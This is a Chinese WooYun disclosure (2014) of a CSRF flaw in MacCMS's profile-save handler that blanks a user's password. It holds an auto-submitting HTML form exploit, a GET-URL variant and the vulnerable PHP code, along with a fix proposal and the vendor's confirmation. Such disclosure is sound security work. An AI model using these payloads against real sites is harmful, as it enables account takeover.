当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075499

漏洞标题:苹果cms一处csrf可导致用户密码为空

相关厂商:maccms.com

漏洞作者: 番茄炒蛋

提交时间:2014-09-14 22:13

修复时间:2014-10-29 22:14

公开时间:2014-10-29 22:14

漏洞类型:CSRF

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-14: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-25: 细节向核心白帽子及相关领域专家公开
2014-10-05: 细节向普通白帽子公开
2014-10-15: 细节向实习白帽子公开
2014-10-29: 细节向公众公开

简要描述:

以前在火车上的时候找到的 一直没提交

详细说明:

修改个人资料处

1.jpg


没有原始密码,直接抓包

2.jpg


poc

<!DOCTYPE HTML>
<html>
<body>
<form id="demo" name="demo" action="http://localhost/test/maccms/index.php?m=user-save.html" method="POST">
<input type="text" name="u_password1" value="admin123" />
<input type="text" name="u_password2" value="admin123" />
<input type="text" name="u_qq" value="3138469231" />
<input type="submit" value="submit" />
</form>
<script>
document.demo.submit();
</script>
</body>
</html>


打开后

23.jpg

漏洞证明:

还可以改成get

http://localhost/test/maccms/index.php?m=user-save.html&u_password1=111111&u_password2=111111&u_qq=3138469231&u_email=&u_phone=&u_question=&u_answer=


执行后密码是空的

3.jpg


看代码
maccms\inc\module\user.php

elseif($method=='save')
{
chklogin();
$oldpass = be("post","u_oldpass");
$password1 = be("post","u_password1");
$password2 = be("post","u_password2");
$u_qq= be("post","u_qq");
$u_email = be("post","u_email");
$u_phone = be("post","u_phone");
$u_question = be("post","u_question");
$u_answer = be("post","u_email");
if (strlen($u_email)>32) { $u_email = substring($u_email,32);}
if (strlen($u_qq)>16) { $u_qq = substring($u_qq,16);}
if (strlen($u_phone)>16) { $u_phone = substring($u_phone,16);}
//以上是接收数据 如果为get (看be方法) 那所有数据就为空 由于并未做非空验证 所以代码一直往下执行
$col = array("u_qq","u_email","u_password","u_phone","u_question","u_answer") ;
$val = array($u_qq,$u_email,$password1,$u_phone,$u_question,$u_answer);

if ($password1 != ""){//只验证如果密码不为空的时候
if ($password1 != $password2){ alert ("两次密码不同");exit; }
$password1 = md5($password1);
array_push($col,"u_password");
array_push($val,$password1);
}
$db->Update ("{pre}user",$col ,$val ,"u_id=".$user["u_id"]);//这个时候所有数据都为空 只带了一个uid进去 所以 这个时候密码什么的都会被重置为空
alertUrl ("修改成功!","index.php?m=user-info.html");


然后be方法 maccms\inc\common\function.php

case 'post':
$res=isset($_POST[$key])$magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break; //两个三元运算符 有点饶 这时候 $res是为空的

修复方案:

post的csrf referer验证,加token 然后更新个人信息的时候做非空验证

版权声明:转载请注明来源 番茄炒蛋@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-09-15 20:31

厂商回复:

已经确认此漏洞,稍后发布更新。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-15 09:37 | 番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)

    增加原始密码 就行了

  2. 2014-09-19 14:39 | darkrerror ( 普通白帽子 | Rank:263 漏洞数:44 )

    大牛

  3. 2014-10-07 10:06 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    你特么坐火车都不消停

  4. 2014-10-07 23:15 | 番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)

    @老和尚 90ID多少。,。